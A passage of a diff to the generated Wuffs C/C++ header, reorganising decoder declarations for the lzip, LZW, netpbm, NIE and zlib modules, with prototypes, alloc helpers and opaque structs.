wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10400,10 +10943,10 @@ struct wuffs_netpbm__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_netpbm__decoder__struct() = delete; +- wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; +- wuffs_netpbm__decoder__struct& operator=( +- const wuffs_netpbm__decoder__struct&) = delete; ++ wuffs_lzip__decoder__struct() = delete; ++ wuffs_lzip__decoder__struct(const wuffs_lzip__decoder__struct&) = delete; ++ wuffs_lzip__decoder__struct& operator=( ++ const wuffs_lzip__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10423,128 +10966,327 @@ struct wuffs_netpbm__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_netpbm__decoder__initialize( ++ return wuffs_lzip__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__image_decoder* +- upcast_as__wuffs_base__image_decoder() { +- return (wuffs_base__image_decoder*)this; ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_netpbm__decoder__get_quirk(this, a_key); ++ return wuffs_lzip__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_lzip__decoder__set_quirk(this, a_key, a_value); + } + +- inline wuffs_base__status +- decode_image_config( +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzip__decoder__dst_history_retain_length(this); + } + +- inline wuffs_base__status +- decode_frame_config( +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_lzip__decoder__workbuf_len(this); + } + + inline wuffs_base__status +- decode_frame( +- wuffs_base__pixel_buffer* a_dst, ++ transform_io( ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- return wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } +- +- inline wuffs_base__rect_ie_u32 +- frame_dirty_rect() const { +- return wuffs_netpbm__decoder__frame_dirty_rect(this); ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_lzip__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + +- inline uint32_t +- num_animation_loops() const { +- return wuffs_netpbm__decoder__num_animation_loops(this); +- } ++#endif // __cplusplus ++}; // struct wuffs_lzip__decoder__struct + +- inline uint64_t +- num_decoded_frame_configs() const { +- return wuffs_netpbm__decoder__num_decoded_frame_configs(this); +- } ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- inline uint64_t +- num_decoded_frames() const { +- return wuffs_netpbm__decoder__num_decoded_frames(this); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__status +- restart_frame( +- uint64_t a_index, +- uint64_t a_io_position) { +- return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__empty_struct +- set_report_metadata( +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); +- } ++// ---------------- Status Codes + +- inline wuffs_base__status +- tell_me_more( +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } ++extern const char wuffs_lzw__error__bad_code[]; ++extern const char wuffs_lzw__error__truncated_input[]; + +- inline uint64_t +- history_retain_length() const { +- return wuffs_netpbm__decoder__history_retain_length(this); +- } ++// ---------------- Public Consts + +- inline wuffs_base__range_ii_u64 +- workbuf_len() const { +- return wuffs_netpbm__decoder__workbuf_len(this); +- } ++#define WUFFS_LZW__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#endif // __cplusplus +-}; // struct wuffs_netpbm__decoder__struct ++#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624u + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++// ---------------- Struct Declarations + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; + +-// ---------------- Status Codes ++#ifdef __cplusplus ++extern "C" { ++#endif + +-extern const char wuffs_nie__error__bad_header[]; +-extern const char wuffs_nie__error__truncated_input[]; +-extern const char wuffs_nie__error__unsupported_nie_file[]; ++// ---------------- Public Initializer Prototypes + +-// ---------------- Public Consts ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzw__decoder__initialize( ++ wuffs_lzw__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_lzw__decoder(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_lzw__decoder* ++wuffs_lzw__decoder__alloc(void); ++ ++static inline wuffs_base__io_transformer* ++wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__io_transformer* ++wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzw__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzw__decoder__get_quirk( ++ const wuffs_lzw__decoder* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__set_quirk( ++ wuffs_lzw__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzw__decoder__dst_history_retain_length( ++ const wuffs_lzw__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzw__decoder__workbuf_len( ++ const wuffs_lzw__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__transform_io( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 ++wuffs_lzw__decoder__flush( ++ wuffs_lzw__decoder* self); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_lzw__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; ++ ++ uint32_t f_pending_literal_width_plus_one; ++ uint32_t f_literal_width; ++ uint32_t f_clear_code; ++ uint32_t f_end_code; ++ uint32_t f_save_code; ++ uint32_t f_prev_code; ++ uint32_t f_width; ++ uint32_t f_bits; ++ uint32_t f_n_bits; ++ uint32_t f_output_ri; ++ uint32_t f_output_wi; ++ uint32_t f_read_from_return_value; ++ uint16_t f_prefixes[4096]; ++ ++ uint32_t p_transform_io; ++ uint32_t p_write_to; ++ } private_impl; ++ ++ struct { ++ uint8_t f_suffixes[4096][8]; ++ uint16_t f_lm1s[4096]; ++ uint8_t f_output[8199]; ++ } private_data; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_lzw__decoder__alloc()); ++ } ++ ++ static inline wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_lzw__decoder__struct() = delete; ++ wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; ++ wuffs_lzw__decoder__struct& operator=( ++ const wuffs_lzw__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_lzw__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_lzw__decoder__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzw__decoder__dst_history_retain_length(this); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_lzw__decoder__workbuf_len(this); ++ } ++ ++ inline wuffs_base__status ++ transform_io( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); ++ } ++ ++ inline wuffs_base__slice_u8 ++ flush() { ++ return wuffs_lzw__decoder__flush(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_lzw__decoder__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++extern const char wuffs_netpbm__error__bad_header[]; ++extern const char wuffs_netpbm__error__truncated_input[]; ++extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; + +-#define WUFFS_NIE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++// ---------------- Public Consts + +-#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; ++typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10559,14 +11301,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_nie__decoder__initialize( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__initialize( ++ wuffs_netpbm__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_nie__decoder(void); ++sizeof__wuffs_netpbm__decoder(void); + + // ---------------- Allocs + +@@ -10576,19 +11318,19 @@ sizeof__wuffs_nie__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_nie__decoder* +-wuffs_nie__decoder__alloc(void); ++wuffs_netpbm__decoder* ++wuffs_netpbm__decoder__alloc(void); + + static inline wuffs_base__image_decoder* +-wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); ++wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__image_decoder* +-wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_nie__decoder* p) { ++wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_netpbm__decoder* p) { + return (wuffs_base__image_decoder*)p; + } + +@@ -10596,35 +11338,35 @@ wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__get_quirk( +- const wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__get_quirk( ++ const wuffs_netpbm__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__set_quirk( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__set_quirk( ++ wuffs_netpbm__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_image_config( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_image_config( ++ wuffs_netpbm__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame_config( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_frame_config( ++ wuffs_netpbm__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_frame( ++ wuffs_netpbm__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -10633,55 +11375,50 @@ wuffs_nie__decoder__decode_frame( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_nie__decoder__frame_dirty_rect( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__frame_dirty_rect( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_nie__decoder__num_animation_loops( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_animation_loops( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frame_configs( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_decoded_frame_configs( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frames( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_decoded_frames( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__restart_frame( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__restart_frame( ++ wuffs_netpbm__decoder* self, + uint64_t a_index, + uint64_t a_io_position); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_nie__decoder__set_report_metadata( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__set_report_metadata( ++ wuffs_netpbm__decoder* self, + uint32_t a_fourcc, + bool a_report); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__tell_me_more( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__tell_me_more( ++ wuffs_netpbm__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__history_retain_length( +- const wuffs_nie__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_nie__decoder__workbuf_len( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__workbuf_len( ++ const wuffs_netpbm__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -10696,7 +11433,7 @@ wuffs_nie__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_nie__decoder__struct { ++struct wuffs_netpbm__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10713,40 +11450,36 @@ struct wuffs_nie__decoder__struct { + uint32_t f_pixfmt; + uint32_t f_width; + uint32_t f_height; ++ uint32_t f_max_value; + uint8_t f_call_sequence; ++ uint64_t f_frame_config_io_position; + uint32_t f_dst_x; + uint32_t f_dst_y; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; + } private_impl; + +- struct { +- struct { +- uint64_t scratch; +- } s_do_decode_image_config[1]; +- } private_data; +- + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_nie__decoder__alloc()); ++ return unique_ptr(wuffs_netpbm__decoder__alloc()); + } + + static inline wuffs_base__image_decoder::unique_ptr + alloc_as__wuffs_base__image_decoder() { + return wuffs_base__image_decoder::unique_ptr( +- wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); ++ wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10762,10 +11495,10 @@ struct wuffs_nie__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_nie__decoder__struct() = delete; +- wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; +- wuffs_nie__decoder__struct& operator=( +- const wuffs_nie__decoder__struct&) = delete; ++ wuffs_netpbm__decoder__struct() = delete; ++ wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; ++ wuffs_netpbm__decoder__struct& operator=( ++ const wuffs_netpbm__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10785,7 +11518,7 @@ struct wuffs_nie__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_nie__decoder__initialize( ++ return wuffs_netpbm__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -10797,28 +11530,28 @@ struct wuffs_nie__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_nie__decoder__get_quirk(this, a_key); ++ return wuffs_netpbm__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_nie__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__status + decode_image_config( + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); ++ return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); + } + + inline wuffs_base__status + decode_frame_config( + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); ++ return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); + } + + inline wuffs_base__status +@@ -10828,41 +11561,41 @@ struct wuffs_nie__decoder__struct { + wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, + wuffs_base__decode_frame_options* a_opts) { +- return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ return wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); + } + + inline wuffs_base__rect_ie_u32 + frame_dirty_rect() const { +- return wuffs_nie__decoder__frame_dirty_rect(this); ++ return wuffs_netpbm__decoder__frame_dirty_rect(this); + } + + inline uint32_t + num_animation_loops() const { +- return wuffs_nie__decoder__num_animation_loops(this); ++ return wuffs_netpbm__decoder__num_animation_loops(this); + } + + inline uint64_t + num_decoded_frame_configs() const { +- return wuffs_nie__decoder__num_decoded_frame_configs(this); ++ return wuffs_netpbm__decoder__num_decoded_frame_configs(this); + } + + inline uint64_t + num_decoded_frames() const { +- return wuffs_nie__decoder__num_decoded_frames(this); ++ return wuffs_netpbm__decoder__num_decoded_frames(this); + } + + inline wuffs_base__status + restart_frame( + uint64_t a_index, + uint64_t a_io_position) { +- return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); + } + + inline wuffs_base__empty_struct + set_report_metadata( + uint32_t a_fourcc, + bool a_report) { +- return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); ++ return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); + } + + inline wuffs_base__status +@@ -10870,49 +11603,36 @@ struct wuffs_nie__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } +- +- inline uint64_t +- history_retain_length() const { +- return wuffs_nie__decoder__history_retain_length(this); ++ return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_nie__decoder__workbuf_len(this); ++ return wuffs_netpbm__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_nie__decoder__struct ++}; // struct wuffs_netpbm__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_zlib__note__dictionary_required[]; +-extern const char wuffs_zlib__error__bad_checksum[]; +-extern const char wuffs_zlib__error__bad_compression_method[]; +-extern const char wuffs_zlib__error__bad_compression_window_size[]; +-extern const char wuffs_zlib__error__bad_parity_check[]; +-extern const char wuffs_zlib__error__incorrect_dictionary[]; +-extern const char wuffs_zlib__error__truncated_input[]; ++extern const char wuffs_nie__error__bad_header[]; ++extern const char wuffs_nie__error__truncated_input[]; ++extern const char wuffs_nie__error__unsupported_nie_file[]; + + // ---------------- Public Consts + +-#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976 +- +-#define WUFFS_ZLIB__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; ++typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10927,14 +11647,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_zlib__decoder__initialize( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__initialize( ++ wuffs_nie__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t 